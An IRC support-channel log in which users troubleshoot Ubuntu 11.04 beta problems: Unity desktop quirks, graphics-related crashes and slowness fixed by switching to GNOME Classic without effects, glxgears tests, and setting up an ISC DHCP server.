[22:34] <nemo> or did they ditch that too?
[22:34] <nemo> I tried right clicking on the top bar, and got nnothing
[22:35] <Daekdroom> nemo, they never actually ditched that.
[22:35] <Daekdroom> It was never possible in Unity, really.
[22:35] <nemo> sure
[22:35] <nemo> well. I didn't give unity much of a chance last time
[22:35] <nemo> due to crashing and mispositioning windows and general irritation
[22:35] <nemo> so now I'm trying to learn it
[22:35] <nemo> I see that if I click the terminal button in quick launch, it refuses to give me a new terminal window...
[22:36] <nemo> looks like you have to right click and use gnome terminals open terminal function
[22:36] <nemo> soooo. no system monitor applets, no cpu load applet, no quick desktop switch applet...
[22:36] <trism> nemo: middle click it for a new window
[22:37] <nemo> trism: have no middle click - I suppose that means using both mouse buttons
[22:37] <nemo> hate shortcuts like that
[22:37] <nemo> didn't work though
[22:37] <nemo> oh
[22:37] <nemo> I just wasn't fast enough
[22:37] <nemo> it had closed before I could position my fingers over both buttons
[22:37] <nemo> yeah. right clicking on terminal window is easier
[22:37] <trism> nemo: yeah I think double click would probably be better
[22:38] <nemo> welp. alt-tab still works.
[22:38] <knightautwell> any idea guys?
[22:38] <nemo> expose shortcut does not. odd.
[22:38]  * nemo opens ccsm
[22:38] <trism> knightautwell: you could try updating python-aptdaemon, it looks like you have an older version
[22:39] <nemo> nice. if you run search, and enter an app you already had open, it wiggles the icon, but does not bring the app to focus
[22:39] <nemo> heh. the new thin scrollbar seems nice, but if you want to scroll, you have to go to the orange area, not just click anywhere in the orange/grey line
[22:39] <nemo> and of course the scroll arrows don't appear if you just moved over the gray
[22:40] <nemo> I can see that confusing tons of people
[22:40] <nemo> oh. expose was rebound.
[22:40] <karlhunt> knightautwell, there are apt-errors in there broken package?
[22:41] <knightautwell> huh?
[22:44] <karlhunt> It looks like you have missing dependancies from the install
[22:44] <knightautwell> from what install?
[22:45] <nemo> ehm. guess I'll leave it on Unity for a while to see if I adapt to its deficiencies
[22:45] <karlhunt> firestarter
[22:45] <hardcold_> I just switched back to Unity
[22:45] <knightautwell> so what do i do
[22:45] <hardcold_> classic crashed just as much
[22:45] <karlhunt> you can use synaptic to fix broken packages
[22:46] <nemo> I suppose I like it having ditched the firefox combined menu, since I preferred having the easy access to dev functions, but only used combined to save space
[22:46] <karlhunt> can't remember the apt command
[22:46] <knightautwell> ok ill try
[22:46] <nemo> shame it freed up that space by getting rid of my app switching and other applets
[22:46] <karlhunt> if that doesn't work (although it should as firestarter is working here) you can chase down the dependancies one by one
[22:47] <knightautwell> ok thanks
[22:49] <hardcold_> I'm new to Ubuntu/Linux (been using this since Friday night when my x120e arrived). I assume that when 11.04 is out of beta, and the community has had time to sweeten things up on the Fusion platform it will be stable, right?
[22:49] <hardcold_> Is that a reasonable assumption?
[22:49] <hardcold_> I'm coming from OSX, so stable to me means zero crashes a year
[22:50] <robin0800> hardcold_, not realy its only10 days away
[22:50] <hardcold_> Right, and yet people keep saying "it's just a beta"
[22:51] <hardcold_> I think the hardware is just too new
[22:51] <robin0800> hardcold_, its beta with lots of updates already
[22:51] <picca> anyone here find that autofs doesn't work with ubuntu 11.04 in that ubuntu freezes on shutdown ... when i uninstall autofs, ubuntu shuts down just fine
[22:53] <arif-ali> picca, I use autofs, no problems at all
[22:53] <picca> arif-ali, do you use autofs with smb?
[22:53] <arif-ali> yeah
[22:53] <nemo> hardcold_: keep in mind OSX only has to support one set of hardware :)
[22:53] <nemo> hardcold_: graphics acceleration is a big cause of instability
[22:54] <hardcold_> nemo, I'm very aware of that
[22:54] <hardcold_> memo, ah, so you think I should disable the graphics driver?
[22:54] <nemo> also, my OSX box (which I admittedly don't use much) may not crash much, but I still end up rebooting it like once a week, since apple apparently has the silly idea that virtually every update requires a reboot
[22:54] <nemo> hardcold_: erm. dunno. wasn't paying attention to your problem
[22:54] <nemo> what is it?
[22:55] <nemo> hardcold_: my personal experience is that 11.04 has been a lot less stable than other betas - I blame unity.
[22:55] <hardcold_> I just get a lot of crashes
[22:55] <nemo> hardcold_: welp. yeah. try unity 2d or gnome classic
[22:55] <nemo> hardcold_: and in gnome classic, "disable desktop effects"
[22:56] <nemo> hardcold_: what's your gfx card btw?
[22:56] <karlhunt> Im having gfx issues too very slow
[22:56] <hardcold_> it's the amd fusion e350 deal
[22:56] <karlhunt> brightness changes are 15 secs behind
[22:57] <hardcold_> what's the command to show all your system specs?
[22:57] <karlhunt> screen is slow to update
[22:57] <karlhunt> lspci
[22:58] <karlhunt> I think mine is down to my second gen core i5 not too well supported
[22:58] <nemo> karlhunt: what's *your* gfx card?
[23:00] <karlhunt> hd 3000 i think
[23:00] <karlhunt> intel
[23:00] <karlhunt> part of sandy bridge chipset
[23:01] <nemo> karlhunt: hey. you're the one that mentioned lspci
[23:01] <nemo> 01:00.0 VGA compatible controller: ATI Technologies Inc RV730XT [Radeon HD 4670]
[23:01] <nemo> and on the other one...
[23:01] <nemo> 01:00.0 VGA compatible controller: nVidia Corporation G92 [GeForce 9800 GT] (rev a2)
[23:01] <karlhunt> it doesn't display properly in lspci
[23:01] <nemo> er...
[23:01] <karlhunt> 00:02.0 VGA compatible controller: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller (rev 09)
[23:02] <hardcold_> I had the same issue
[23:02] <karlhunt> Doesn't tell us much huh
[23:02] <nemo> lspci -v
[23:02] <nemo> what does subsystem say?
[23:02] <hardcold_> nope
[23:03] <nemo> oh well. I don't know too much about intel cards and their capabilities anyway...
[23:03] <karlhunt> nope still nothing more
[23:03] <nemo> karlhunt: have *you* tried gnome classic + metacity || unity 2d?
[23:03] <karlhunt> on sandy bridge the graphics are on the cpu die
[23:04] <nemo> huh. mine intel laptop has a cryptic lspci line, but at least subsystem says Sony Corporation Device 906c
[23:04] <karlhunt> im in gnome classic (no effects) now
[23:04] <karlhunt> Dell device 49b
[23:05] <nemo> karlhunt: screen brightness changes are instantaneous here
[23:05] <nemo> karlhunt: for you they are delayed?
[23:05] <nemo> I'm testing in Power Management Preferences, AC power default brightness
[23:05] <karlhunt> yes
[23:05] <nemo> on my intel laptop
[23:05] <karlhunt> badly
[23:05] <nemo> karlhunt: what if you try manipulating from commandline?
[23:05] <karlhunt> whats the command?
[23:06] <nemo> hang on. I made this lil' script once when power manager was not controlling brightness properly for someone
[23:07] <nemo> http://m8y.org/tmp/set_brightness.txt
[23:07] <nemo> hope that gives you the idea
[23:07] <nemo> I gksudo wrapped that
[23:07] <karlhunt> power management has same lag as shortcut keys
[23:07] <nemo> of course, not saying it'd work in your case.
[23:07] <nemo> karlhunt: anything in dmesg while it is busy lagging?
[23:07] <rwhittle> TR
[23:08] <hardcold_> aside from the crashes my machine is otherwise functional
[23:08] <nemo> hardcold_: what in particular is crashing? and have *you* tried gnome classic + metacity || unity 2d? :)
[23:09] <nemo> 11.04 was indeed crashing a lot on me, but seems to have improved in last week
[23:09] <nemo> hopefully they are getting things under control
[23:09] <karlhunt> couldnt find brightness control
[23:09] <karlhunt> its not just the brightness the gfx are generally poor
[23:10] <hardcold_> nemo, I don't know what metacity is. Keep in mind I've been using Ubuntu/Linux since Friday evening
[23:10] <nemo> hardcold_: sign in using gnome classic
[23:10] <karlhunt> Its a window manager
[23:10] <nemo> hardcold_: (dropdown at the bottom on login page picks it)
[23:11] <hardcold_> As an example of a crash, when I was signed in classic mode, I was scrolling up and down in this chat, and the system froze
[23:11] <karlhunt> only after you click you name though
[23:11] <nemo> hardcold_: then go to System->Preferences->Appearance->Visual Effects and chose None
[23:11] <nemo> hardcold_: ah. never seen anything like that w/ 11.04
[23:12] <nemo> hardcold_:  it might be useful to check logs for clues
[23:12] <robin0800> nemo don't think you can do that now
[23:12] <nemo> also, if you're able, try things like ctrl-alt-f1, ctrl-alt-backspace
[23:12] <nemo> robin0800: huh? can't do what. check logs?
[23:13] <karlhunt> hasn't ctrl-alt-backspace been disabled for 2 versions now?
[23:13] <robin0800> nemo ctrl-alt backspace is now disabled by default
[23:13] <nemo> karlhunt: well. I don't get a lot of crashes :)
[23:13] <nemo> karlhunt: I used to explicitly override the disabling of override of keyboard grabs
[23:13] <hardcold_> yeah, I've tried every imaginable keyboard combo
[23:13] <karlhunt> nemo, you obviously don't 'play' as much as I
[23:14] <nemo> karlhunt: hm?
[23:14] <karlhunt> lol overide the overides
[23:14] <robin0800> nemo there is no appearance tab now
[23:14] <nemo> hardcold_: how about sshing in - did you try that?
[23:14] <nemo> robin0800: uh. even in gnome classic?
[23:14]  * nemo quits unity to check
[23:14] <hardcold_> Whoa, now he's breaking out the greek
[23:14] <hardcold_> I assume you mean accessing it via a network?
[23:14] <nemo> hardcold_: yeah. did it respond to pings?
[23:15] <nemo> trying to figure out if freeze was desktop or whole computer
[23:15] <trism> you can select the (no effects) session to get basically the effect of the old Visual Effects/None
[23:15] <nemo> hardcold_: still think you should try disabling compiz
[23:15] <nemo> trism: that would be unity 2d eh? :)
[23:15] <hardcold_> I try to connect to it, no
[23:15] <hardcold_> er, did not
[23:16] <robin0800> the command to disable compiz is metacity --replace
[23:16] <trism> nemo: no, the unity 2d session is called Unity 2d, I'm not sure if it is even installed by default
[23:16] <nemo> gah. you have to do it from the commandline or login now?
[23:16] <nemo> maaaan
[23:16] <robin0800> trism, no its not
[23:16] <nemo> you're right. no more appearance tab. lovely.
[23:18] <nemo> hardcold_: well. there you go. my ability to explain how to disable compiz w/o using a commandline was obsoleted in 11.04 :-p
[23:18] <nemo> do what trism said
[23:23] <hardcold_> Well, I can run classic without effects, choosing that at login
[23:24] <hardcold_> I'll try that now
[23:25] <knightautwell> can someone help me with a problem with istalling DHCP server?
[23:25] <hardcold> okay, now using classic with no effects
[23:26] <hardcold> we'll see how long it takes to crash
[23:26] <knightautwell> ???
[23:27] <nemo> knightautwell: I've only ever setup dhcp under gentoo, but there might be some overlap
[23:28] <hardcold> holy crap, it's as responsive as OSX now
[23:28] <hardcold> wow
[23:28] <nemo> using eix dhcp
[23:28] <nemo> hardcold: huh. you installed OSX on it?
[23:28] <knightautwell> can you check out my error?  http://paste.ubuntu.com/595721/
[23:28] <nemo> were you using hackintosh?
[23:28] <hardcold> nemo_: no, my main computer is a MBP
[23:28] <knightautwell> does eix dhcp work with firestarter and hostapd?
[23:28] <hardcold> I bought this x120e to try ubuntu
[23:29] <nemo> knightautwell: try launching it non-daemon, but you probably need to configure it
[23:29] <hardcold> I wanted a small, light and cheap computer
[23:29] <nemo> hardcold: well. just noting, hardly a comparison then :)
[23:29] <nemo> hardcold: wimpy graphics cards usually do better w/ effects disabled
[23:29] <nemo> hardcold: could *could* try metacity w/ compositing, YMMV
[23:29] <knightautwell> i did it in terminal isnt that enough?
[23:29] <hardcold> the GPU is this is more power than in my MBP
[23:29] <nemo> knightautwell: I can share my dhcp config file
[23:30] <knightautwell> ok thanks
[23:30] <knightautwell> is eix better than than this one or what?
[23:30] <nemo> erm
[23:30] <nemo> sorry
[23:30] <nemo> knightautwell: my brain was shorted. I'm suing same dhcp as you.
[23:31] <knightautwell> oh lol ok
[23:31] <nemo> ISC one
[23:31] <nemo> knightautwell: I had run eix -I dhcp to see which one, and then misstyped
[23:31] <knightautwell> ok lol
[23:31] <knightautwell> ill look at your config file and see what up lol. do i use it in the etc/dhcp folder?
[23:32] <nemo> hardcold: heh. how do you measure that? :)
[23:32] <knightautwell> nvm lol
[23:32] <nemo> hardcold: what's  your mbp running?
[23:32] <nemo> (for a gfx card)
[23:32] <hardcold> 8600m
[23:33] <hardcold> it's an early 2008, 2.5ghz
[23:33] <nemo> hardcold: um. and you consider that wimpier than whatever intel combined chip you're using??
[23:33] <hardcold> it's an AMD Fusion e350
[23:33] <hardcold> 80 core radeon deal that is more powerful than the Intel HD 4000 that comes stock in today's bottom end MBP
[23:34] <hardcold> just google the AMD fusion vs intel hd 4000
[23:34] <nemo> hardcold: what FPS do you get for glxgears ?
[23:34] <hardcold> is that a game?
[23:34] <nemo> (open terminal, run command, wait 10 seconds)
[23:34] <hardcold> okay
[23:34] <nemo> hardcold: just a trivial opengl demo sometimes used for perf tests
[23:35] <hardcold> I
[23:35] <hardcold> I
[23:35] <nemo> might be vsynced, can always make the window larger to stress it a bit
[23:35] <hardcold> I'm in classic no effects
[23:35] <hardcold> that will not hinder that?
[23:35] <nemo> nope
[23:36] <hardcold> not installed
[23:36] <coz_> glxgears is not installed?
[23:36] <hardcold> correct
[23:36] <hardcold> installing now...
[23:36] <hardcold> luckily it gave me the command to do so
[23:36] <knightautwell> hey nemo can i see your conf file for dhcp?
[23:36] <nemo> my intel card running 11.04 can do glxgears in an 891x751 at synced 60fps w/ compiz running
[23:37] <hardcold> I'm running at 1366x768
[23:37] <nemo> knightautwell: sure. just reading it over to make sure I don't mind sharing it :)
[23:37] <knightautwell> haha ok
[23:37] <nemo> yeah. there's nothing private in here...
[23:37] <knightautwell> lol
[23:38] <nemo> http://m8y.org/tmp/dhcpd.conf
[23:38] <nemo> there ya go
[23:38] <knightautwell> thanks
[23:38] <nemo> in case you wonder why I use 10.0.0.* - it is easier to type in :-p
[23:38] <nemo> that was basically just a copy of the sample one plus some uncommenting
[23:38] <coz_> there is something else besides glxgears I once used cant remember the name
[23:38] <nemo> hardcold: I was referring to the size of the glxgears window
[23:38] <nemo> hardcold: since the default size wasn't slowing it down at all
[23:38] <hardcold> It's running at 60fps
[23:39] <hardcold> seems capped at 6-fps
[23:39] <nemo> hardcold: yeah. vsync
[23:39] <hardcold> capped at 60fps
[23:39] <nemo> hardcold: does it stay at 60 even if you increase size of window?
[23:39] <nemo> heck. mine stays at 60 even w/ blending translucent window over it that has a gaussian blur enabled :)
[23:39] <nemo> (terminal window w/ gaussian blur to maintain readability, in this case)
[23:39] <knightautwell> so do you use hostadp?
[23:40] <nemo> never heard of it
[23:40] <hardcold> I maximized it
[23:40] <hardcold> full screen
[23:40] <KM0201> knightautwell: you still working on that?
[23:40] <hardcold> still 60fps
[23:40] <nemo> mmm
[23:40] <knightautwell> yea lol
[23:41] <nemo> hardcold: so you were getting a slow UI, as well as lockups?
[23:41] <hardcold> how do I stop this?
[23:41] <KM0201> are you sure the card has those capabilities, under Linux?
[23:41] <nemo> hardcold: just click the close button, or hit ctrl-c in terminal. whatever.
[23:41] <hardcold> nemo_: now I was not getting a very slow UI, that was the other guy
[23:41] <hardcold> I was just getting a lot of crashes
[23:41] <nemo> 18:28 < hardcold> holy crap, it's as responsive as OSX now
[23:41] <nemo> hardcold: that sounded like unresponsive to me
[23:42] <hardcold> I was comparing it to OSX not Windows
[23:42] <knightautwell> yea well im using my usb one now and my psp is connecting just not getting an ip address.
[23:42] <nemo> hardcold: yeah. but what I'm getting at, is that disabling effects resulted in an improvement in responsiveness?
[23:42] <hardcold> an example would be, when I click on a menu, it appears instantly without any flicker
[23:42] <nemo> ah.
[23:42] <knightautwell> yea idk
[23:43] <knightautwell> ok i found out whats giving me the error
[23:43] <hardcold> In Unity, when moving between drop-down menus there is a flicker with a white box behind it
[23:43] <nemo> mmm
[23:43] <hardcold> with this there is no flicker, it is instant and clean
[23:43] <hardcold> like OSX
[23:43] <nemo> hardcold: ok. I've seen that before on some gfx cards
[23:43] <knightautwell> its isc-dhcp-server
[23:43] <nemo> hardcold: you miiight want to try gnome classic with effects, but with the unity decorator disabled
[23:44] <hardcold> What I
[23:44] <nemo> hardcold: in unity, are there still this stupid-heavy shadows on all menus and windows?
[23:44] <hardcold> what I'd like to do now is disbale this glgears thing
[23:44] <nemo> those
[23:44] <nemo> hardcold: like I said, click the close button, or hit ctrl-c in the terminal window. either one
[23:44] <hardcold> okay
[23:45] <knightautwell> when i install isc-dhcp-server in the terminal i get an error at the end...invoke-rc.d: initscript isc-dhcp-server, action "start" failed
[23:46] <nemo> knightautwell: check system log, or try running dhcpd in foregrond
[23:46] <nemo> foreground
[23:48] <nemo>  /usr/sbin/dhcpd -f I believe
[23:49] <nemo> hardcold: so. yeah. does it still use those heavy shadows?
[23:49] <hardcold> I'm using classic with no effects
[23:49] <nemo> hardcold: I was asking about before
[23:49] <nemo> when the menus were flicker-y
[23:50] <nemo> hardcold: one of the reasons I disabled the unity decorator was that it was screwing up my system responsiveness.
[23:50] <nemo> I'm using gtk decorator in both unity and gnome classic now
[23:50] <hardcold> I like how Ubuntu is trying to copy OSX so extensively
[23:50] <knightautwell> hye nemo is there a file in your /etc/init.d file that is dhcp3-server or just dhcp-server?
[23:50] <hardcold> I guess Apple would so them if they had more market share
[23:51] <nemo> hardcold: heh. everyone copies everyone
[23:51] <nemo> hardcold: you could say apple and microsoft got their app stores from concept of linux package mamnagement :)
[23:51] <hardcold> Ubuntu seems to try and copy best practices from OSX, Windows, etc
[23:51] <nemo> but. yeah, Unity is more OSX-y
[23:51] <nemo> I still don't like it
[23:51] <nemo> but I'll try to get used to it...
[23:51] <KM0201> hardcold: yeah.. but.. in a way, that makes sense... even as bad as Windoze is, it has some good points...
[23:51] <hardcold> Unity is not OSX-y
[23:52] <nemo> knightautwell: just dhcpd - gentoo packages things differently
[23:52] <KM0201> hardcold: i agree, people keep sayin that.... and while my Mac experience is limited... i don't see the similarities either
[23:52] <hardcold> it's more Windows 7-y, with the window popping stuff at the top/sides etc
[23:52] <knightautwell> ok lol
[23:52] <nemo> hardcold: erm. the app menu is taken from the OSX app menu
[23:52] <nemo> including idea of pinning and highlighting
[23:52] <knightautwell> so their is a file there or what lol
[23:53] <nemo> of course, there were previous ones in linux, but I think they were OSx inspired too
[23:53] <nemo> ditto moving the app file menu stuff to a top bar
[23:53] <nemo> that part really annoys me since I used that top bar for useful stuff
[23:53] <hardcold> Well, if you mean the "Dock" that is from NeXT
[23:53] <gordonjcp> oh, I hate the app menu at the top
[23:53] <hardcold> OSX is a glossy version of 1986
[23:53] <gordonjcp> that's one of the things that puts me off Macs
[23:53] <KM0201> nemo: i've heard more than one person say Gnome similar to MacOS, KDE similar to Windows... while I see the KDE and Windows similarities, I don't really see it between Gnome and Mac OS(some of the older ones.. definitely not the newer ones)
[23:53] <gordonjcp> I don't understand how you're supposed to launch apps in Unity
[23:54] <hardcold> what app menu at the top? What are you guys referring to?
[23:54] <KM0201> gordonjcp: you dock them there, and then click them.
[23:54] <nemo> gordonjcp: search works pretty well
[23:54] <nemo> I need to learn the macro for it
[23:54] <gordonjcp> nemo: I can't figure search out
[23:54] <gordonjcp> KM0201: yuck
[23:54] <nemo> KM0201: what *is* the macro for search?
[23:54] <KM0201> gordonjcp: you can dock programs on the sidepanel as well.. open the program.. then when its in the dock, right click and choose "keep"
[23:55] <KM0201> nemo: no clue
[23:55] <gordonjcp> KM0201: so instead of being able to select the apps from nested menus, I have to play guess-the-square?
[23:55] <KM0201> gordonjcp: you can choose the order they are in as well... not really sure what the issue is.
[23:55] <nemo> gordonjcp: the bit that bugged me was when the icons were identical
[23:55] <gordonjcp> KM0201: well, I don't know how to get the side bar thing up
[23:55] <gordonjcp> nemo: they *are* identical
[23:55] <nemo> gordonjcp: there was no way to identify except by launching 'em then grepping the process list
[23:55] <nemo> you can't even choose properties
[23:55] <hardcold> gordonjcp: yeah, looks that way.
[23:56] <KM0201> mouse over it (if you'ev got a window all the way to the left, move it to the right)
[23:56] <nemo> or change the icon
[23:56] <nemo> dumbing down for the sake of dumbing down
[23:56] <KM0201> nemo: now changing the icon, iv'e not figured out either
[23:56] <gordonjcp> KM0201: yeah, so you have to waste a huge bit of space, for a strip of little squares?
[23:56] <gordonjcp> KM0201: also, I can't figure out what to actually *do* with it
[23:56] <nemo> KM0201: changing the icon *or* figuring out what it is about to launch by path
[23:56] <nemo> my problem was identical firefox icons
[23:56] <hardcold> I have an unusual way of accessing apps in OSX
[23:56] <KM0201> gordonjcp: i think that right now, is just a minor bug... unity is far from perfect, if you want it to be perfect, wait till 11.10 or 12.04
[23:56] <gordonjcp> sometimes you click a square and it launches an app, sometimes you click a square and it makes all the windows whirl around the screen
[23:57] <hardcold> Aside from the Dock, I created an ordered apps folder, color coded by category
[23:57] <KM0201> i've not had any windows whirling
[23:57] <gordonjcp> KM0201: I'd say making the desktop unusable is a bit more than a "minor bug" ;-)
[23:57] <hardcold> all my apps are in the apps folder, but I put aliases of them in my special sorted folder
[23:57] <nemo> gordonjcp: eh. desktop is just fine under Classic :)
[23:57] <KM0201> gordonjcp: its not perfect.. thats why ubuntu classic is still there.. but the bugs have to be worked out
[23:58] <hardcold> Classic works like Mac OS8
[23:58] <knightautwell> i have a question why when i install dhcp3 the folder says only dhcp?
[23:58] <KM0201> gordonjcp: only way to work the bugs out, is to get users using it, so they can file bug reports.
[23:58] <gordonjcp> KM0201: so are they doing away with the sidebar thing, and putting back a normal taskbar?
[23:58] <nemo> hardcold: classic is a lot more customisable
[23:58] <hardcold> where you select your apps from folders in a drop-down menu
[23:58] <nemo> hardcold: I seriously miss my applets in unity
[23:58] <hardcold> is an applet a widget?
[23:59] <nemo> hardcold: right click in some free space on a panel and choose "add to panel"
[23:59] <hardcold> In OSX you have "Dashboard" which pops up with "widgets" like clocks and weather and such, then Microsoft copied this for "gadgets" in Windows 7
[23:59] <nemo> the ones I miss are cpu frequency control, and cpu/mem/network monitor